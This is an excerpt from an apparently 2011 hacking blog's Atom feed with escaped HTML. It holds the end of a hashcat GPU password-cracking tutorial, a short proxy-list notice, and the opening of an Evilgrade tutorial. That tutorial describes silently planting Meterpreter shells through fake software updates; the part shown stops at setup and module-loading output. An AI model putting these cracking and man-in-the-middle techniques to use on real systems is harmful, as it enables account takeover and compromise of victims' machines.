charset 2&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?3 = number three - use custom charset 3&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?4 = number four - use custom charset 4 &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt 0.5in;"&gt;&lt;span style="font-family: Calibri;"&gt;?l?l?l?l ?l?l?l?l would define a password of 8 characters in length using all lowercase alphabet as charset to try all possibilities: aaaaaaaa-zzzzzzzz.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img101.imageshack.us/img101/6461/65259251.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img101.imageshack.us/img101/6461/65259251.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;The custom charset can be used as needed, but I find them helpful to add specific combinations to the end or beginning of the passwords being used in the word list, for example you could define custom1 as 1, custom2 as 2, custom3 as 3, and custom4 as 4 and to define the last 4 characters as 1234, which depending on your placement can create a whole new dictionary. I have found ending with 123 has very high success rates on real life samples. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;?l?l?l?l ?1?2?3?4 would define a password of 8 characters and would fix 1234 as the last four characters of each password attempted, from aaaa1234-zzzz1234. Hopefully you can see how this can be helpful when all dictionary attempts have been exhausted and/or you have some helpful information to help you narrow down the possibilities to be used - since you can define the placement and characters to be used in the attempts.&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img814.imageshack.us/img814/5646/72829665.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img814.imageshack.us/img814/5646/72829665.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you decide to use a dictionary instead of masks you can also combine rules to them as well on a left and right side basis, same as masks and custom charsets above, just fill out the details for the mandatory fields. I tend to reserve my dictionaries for the next tab though, so I will not cover that part here. The last thing to complete before running the GPUs at things is the Resources section. You will need to define the GPU(s) to be used. If they are all the same type then do nothing and it will use them all together, however if you have a mix match of cards like I do (due to budget reasons) then you can simpy define them using comma separated values. I use two different cards and it will only use one by default so I change the GPU devices to state "1,2" to instruct it to use both GPU #1 and GPU #2. You will find better results if you run the same type of cards, but this is a perfectly acceptable and working alternative for those that grow on a budget or over time. If you do a little research or are more familiar with your GPU then you can tweak your heart out with the workload tuning and GPU loops but the defaults will be fine for the average users. Finally choose to write your output file to where you want in the desired format and you can start the GPU attacks on your hash list. You will notice the command used is also displayed next to the start button if you want to learn the commands to do things from the console. This is also very helpful if you pause an attack and need to pick things up later, as the commands can be rather long and you can simply copy and paste it to where you need it. Once you hit start the command prompt should open and show the running status, you can the "S" button to show the status at any given time.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img52.imageshack.us/img52/8638/49114901.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://img52.imageshack.us/img52/8638/49114901.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;oclHashcat-plus/cudaHashcat-plus (tab3):&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;This was also formerly known as oclHashcat+/cudaHashcat+ and has recently been changed to the new name. This GPU tool is used to replace the outdated CPU cracker that we originally all came to love and known as Hashcat, and is very good for single or large lists of MD5, MD4, NTLM, DCC, and DES hashes. This takes your Dictionary and Password files and runs the same attacks on them that Hashcat would, but instead of using the CPU it uses the GPU power, which results in exponentially faster results. &lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img860.imageshack.us/img860/4972/84309989.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img860.imageshack.us/img860/4972/84309989.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Like on tab1 for Hashcat we will need to point it to our Hash list file, choose to remove cracked hashes or not, point it to your dictionary or password files (as many as you have or need - haven't hit the limit yet), identify hash type. Now you can’t choose attack modes here but you can point it at your rules files which will do way more than the default attack modes will ever do, so not much loss here. If you want to let the tool auto-generate rules based on the developer’s statistical analysis you can do that as well and define how many rules to generate. As done on the oclHashcat/cudaHashcat you will need to define your GPU cards to use in the attack if they are not of the same kind and adjust any of the other parameters if you are advanced enough to know what you are doing. Choose to write the output and format type if desired and that is it. As before it will open the command prompt for you and start running the dictionary attacks off the GPU devices identified. &lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img801.imageshack.us/img801/3535/63746218.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img801.imageshack.us/img801/3535/63746218.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Once it is running it will look similar to before, and you can use the "S" for up to date status check, "h" for help dialogue, or "q" to quit: &lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img838.imageshack.us/img838/8726/28686570.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://img838.imageshack.us/img838/8726/28686570.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;oclHashcat-lite/cudaHashcat-lite (tab4):&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;This GPU tool is a bit more precise and can only be used on a single hash at a time, but is capable of cracking MD5, SHA-1,MySQL &amp;gt; 4, NTLM&amp;lt; and Domain Cached Credentials (DCC) hashes at extremely fast rates.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img546.imageshack.us/img546/6796/92855324.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img546.imageshack.us/img546/6796/92855324.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;This can be very handy when you have a high priority hash and want to focus everything you have on it to Bruteforce it. You will also need to define the mask to use if desired or you can simple provide the charset to use and the min and max parameters for password length. You can also instruct the tool to take charset in hex form by checking the available box. &lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img825.imageshack.us/img825/1394/81058864.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img825.imageshack.us/img825/1394/81058864.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;As done for the previous tabs you will need to identify your GPU devices and tweak any advanced parameters you want. Lastly identify if you want to write the output to file and where and you are ready to fire away.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img36.imageshack.us/img36/8282/70953514.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://img36.imageshack.us/img36/8282/70953514.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;This completes the overview and review of the latest release from the Hashcat team for Hashcat-GUI-v0.4.2. I hope you have enjoyed this review and I hope you find this tool very useful in your hash cracking adventures. If you want to speed things up you can also run one attack from the GPU tools while simultaneously running an attack from the CPU powered Hashcat tab. I use this method regularly to allow the CPU to handle the small rule sets I have and let the more complex rules run through the GPU to save time. You can also let Bruteforcing of smaller length attempts run on CPU while running anything over 7 characters long on the GPUs to save yourself some time. Enjoy and follow up with the makers of the tool as it is being updated all the time and they never seem to stop amazing me. If you have a small problem or need some help please feel free to comment or drop me a line and I will do what I can to help out with GUI or console problems. This was not meant to be an end all be all of tutorials or overview, but I do think it is very helpful and quite amazing tool and wanted to share it with the world. Have fun cracking...&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;UPDATE -&amp;nbsp;Here is the video I made to accompany the article above:&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/RuZUpplRkF8" width="560"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-655439925196301472?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2PAIEyHpMPBS5en9zV_a9vlra7s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2PAIEyHpMPBS5en9zV_a9vlra7s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2PAIEyHpMPBS5en9zV_a9vlra7s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2PAIEyHpMPBS5en9zV_a9vlra7s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/lRMd95ez0WE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/655439925196301472/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/cracking-password-hashes-with-cpu-gpu.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/655439925196301472?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/655439925196301472?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/lRMd95ez0WE/cracking-password-hashes-with-cpu-gpu.html" title="Cracking Password Hashes with CPU &amp; GPU Power" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/RuZUpplRkF8/default.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/cracking-password-hashes-with-cpu-gpu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08NSHY7eyp7ImA9WhZUEEw.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-3389283795241801672</id><published>2011-06-02T08:03:00.001-05:00</published><updated>2011-06-02T08:04:59.803-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-02T08:04:59.803-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous Proxies" /><category scheme="http://www.blogger.com/atom/ns#" term="FREE" /><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous" /><category scheme="http://www.blogger.com/atom/ns#" term="Proxy List" /><category scheme="http://www.blogger.com/atom/ns#" term="Free Anonymous Proxies" /><category scheme="http://www.blogger.com/atom/ns#" term="Free Proxy" /><category scheme="http://www.blogger.com/atom/ns#" term="Free Elite Proxies" /><category scheme="http://www.blogger.com/atom/ns#" term="Free Proxies" /><category scheme="http://www.blogger.com/atom/ns#" term="Free List" /><category scheme="http://www.blogger.com/atom/ns#" term="Proxy" /><category scheme="http://www.blogger.com/atom/ns#" term="Proxies" /><category scheme="http://www.blogger.com/atom/ns#" term="Elite" /><category scheme="http://www.blogger.com/atom/ns#" term="Elite Proxies" /><title>FREE PROXIES PAGE ADDED</title><content type="html">Hey Folks, I have added a whole new page dedicated to free elite and anonymous proxies. I will be updating it weekly to keep it fresh and useful for any one that wants to use it. It can be found via the link below the page header. Hope you appreciate this service and find it usefull. If so make sure to leave a comment or two and let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-3389283795241801672?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/w6sv61qmLUjOwV1sl9FguHsmXfg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/w6sv61qmLUjOwV1sl9FguHsmXfg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/w6sv61qmLUjOwV1sl9FguHsmXfg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/w6sv61qmLUjOwV1sl9FguHsmXfg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/zra1IUhzizE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/3389283795241801672/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/free-proxies-page-added.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/3389283795241801672?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/3389283795241801672?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/zra1IUhzizE/free-proxies-page-added.html" title="FREE PROXIES PAGE ADDED" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/free-proxies-page-added.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYAR3Y_fSp7ImA9WhZWF0s.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-5213415480444261358</id><published>2011-05-18T18:42:00.000-05:00</published><updated>2011-05-18T18:42:26.845-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-18T18:42:26.845-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Man In the Middle" /><category scheme="http://www.blogger.com/atom/ns#" term="ISR EVILGRADE" /><category scheme="http://www.blogger.com/atom/ns#" term="Meterpreter" /><category scheme="http://www.blogger.com/atom/ns#" term="Evilgrade Framework" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploiting Updaes" /><category scheme="http://www.blogger.com/atom/ns#" term="MiTM" /><category scheme="http://www.blogger.com/atom/ns#" term="Ettercap" /><category scheme="http://www.blogger.com/atom/ns#" term="MiTM Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploits" /><title>SILENTLY Owning the Network with ISR EVILGRADE</title><content type="html">Evilgrade is a modular framework designed to take advantage of HD Moore &amp;amp; Dan Kaminsky's DNS exploits in tandem with insecure application update mechanims to inject and execute Meterpreter shells or your RAT amlost entirely SILENT on fully patched Windows and OSX machines. This tool works by using man-in-the-middle techniques (DNS, ARP, DHCP, etc) to exploit a wide variety of applications. Today I am going to show you the basics of how to get it it properly installed and setup as well as how to use it to pull of some really amazing techniques to pawn victims on your network (WLAN &amp;amp; LAN only folks). Before we begin I should point out that I will be performing this on the new BT5 platform (GNOME edition) as it already comes with Metasploit, and other tools needed to pull off MiTM attacks. You will also need to download a copy of Evilgrade to your BT5 Desktop, which can be downloaded from homepage found at the following location: &lt;a href="http://www.infobyte.com.ar/developments.html"&gt;http://www.infobyte.com.ar/developments.html&lt;/a&gt;&lt;br /&gt;
(just click on download link in bottom right). This tutorial will be done almost entirely from the command prompt, so please dont ask why you couldn't double click point and shoot to make it work. I will classify this one as Intermediate in nature as it is all from command line and requires some initial steps to get it working. If you are at all familiar with working on Cisco Routers or other IOS type CLI environments then this will be a piece of cake. Let's begin, try to keep up...&lt;br /&gt;
&lt;br /&gt;
You will need to start by extracting Evilgrade once it has been downloaded from the homepage, for this you can use the following commands: &lt;br /&gt;
&lt;br /&gt;
Commands: tar -zxvf&lt;br /&gt;
&lt;a href="mailto:root@bt:~/Desktop/EvilGrade2.0"&gt;root@bt:~/Desktop/EvilGrade2.0&lt;/a&gt;# tar -zxvf isr-evilgrade-2.0.0.tar.gz &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: you can add the -C argument followed by the path if you want to extract it &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to another location other than where it is sitting after it was downloaded&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: &lt;a href="mailto:root@bt:~/Desktop/EvilGrade2.0"&gt;root@bt:~/Desktop/EvilGrade2.0&lt;/a&gt;# tar -zxvf isr-evilgrade-2.0.0.tar.gz&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -C /pentest/exploits/ISR&lt;br /&gt;
&lt;br /&gt;
Now you will have a new folder called "isr-evilgrade" either in the default location on your desktop or where you told it to go with the -C argument noted above. Navigate to this folder and you can start it up...maybe. By default Backtrack does not have all of the underlying Perl modules needed for the framework to work, so we will need to make some quick additions to instlal those dependencies, as follows:&lt;br /&gt;
&lt;br /&gt;
You can try to start Evilgrade to check byu simply entering the following at commadn prompt and hitting enter: ./evilgrade&lt;br /&gt;
If you are using a fresh BT 5 install then you will get the following results:&lt;br /&gt;
&lt;a href="mailto:root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade"&gt;root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade&lt;/a&gt;# ./evilgrade&lt;br /&gt;
Can't locate Data/Dump.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.1 /usr/local/share/perl/5.10.1 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at isrcore/Shell.pm line 28.&lt;br /&gt;
BEGIN failed--compilation aborted at isrcore/Shell.pm line 28.&lt;br /&gt;
Compilation failed in require at (eval 2) line 3.&lt;br /&gt;
&amp;nbsp;...propagated at /usr/share/perl/5.10/base.pm line 93.&lt;br /&gt;
BEGIN failed--compilation aborted at isrcore/shellz.pm line 29.&lt;br /&gt;
Compilation failed in require at ./evilgrade line 24.&lt;br /&gt;
BEGIN failed--compilation aborted at ./evilgrade line 24.&lt;br /&gt;
&lt;br /&gt;
Take note of the dependency missing above (Data/Dump.pm). EvilGrade requires the following perl modules to work 100%: Data::Dump, Digest::MD5, and Time::HiRes&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For BackTrack5 we will need to install Data::Dump, and to do this you&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; can use the following commands: &lt;br /&gt;
&lt;br /&gt;
Command to search for package: apt-cache search perl &amp;lt;insert package name looking for&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: apt-cache search perl Data::Dump&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: the package name usually starts with lib and ends with -perl, like:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; libsomething-perl, and results should provide basic description as well&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;What we&amp;nbsp;need: libdata-dump-perl - Perl module to help dump data structures&lt;br /&gt;
Command to Install the package (using&amp;nbsp;name found&amp;nbsp;above): apt-get install &amp;lt;package name&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: ap-get install libdata-dump-perl&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
Once this is installed you should be able to re-check to see if anything else is needed (nothing else is needed for BT5, but if you are using BT4 you might also have to install one of the other two dependecies listed above). We can re-check by simply typing the following:&lt;br /&gt;
&lt;br /&gt;
Command: ./evilgrade &lt;br /&gt;
Results this time around:&lt;br /&gt;
&lt;a href="mailto:root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade"&gt;root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade&lt;/a&gt;# ./evilgrade&lt;br /&gt;
[DEBUG] - Loading module: modules/cygwin.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/virtualbox.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/sparkle.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/clamwin.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/ccleaner.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/miranda.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/notepadplus.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/amsn.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/winzip.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/istat.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/linkedin.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/flip4mac.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/photoscape.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/jet.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/getjar.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/superantispyware.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/dap.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/filezilla.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/allmynotes.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/panda_antirootkit.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/sunjava.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/cpan.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/freerip.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/autoit3.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/apt.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/googleanalytics.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/opera.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/gom.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/techtracker.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/yahoomsn.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/nokia.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/appleupdate.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/growl.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/bbappworld.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/atube.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/nokiasoftware.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/skype.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/apptapp.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/vidbox.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/isopen.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/winupdate.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/jetphoto.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/trillian.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/openoffice.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/mirc.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/ubertwitter.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/orbit.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/osx.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/bsplayer.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/sunbelt.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/quicktime.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/flashget.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/fcleaner.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/express_talk.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/divxsuite.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/speedbit.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/paintnet.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/itunes.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/teamviewer.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/winscp.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/vmware.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/blackberry.pm&lt;br /&gt;
[DEBUG] - Loading module: modules/winamp.pm&lt;br /&gt;
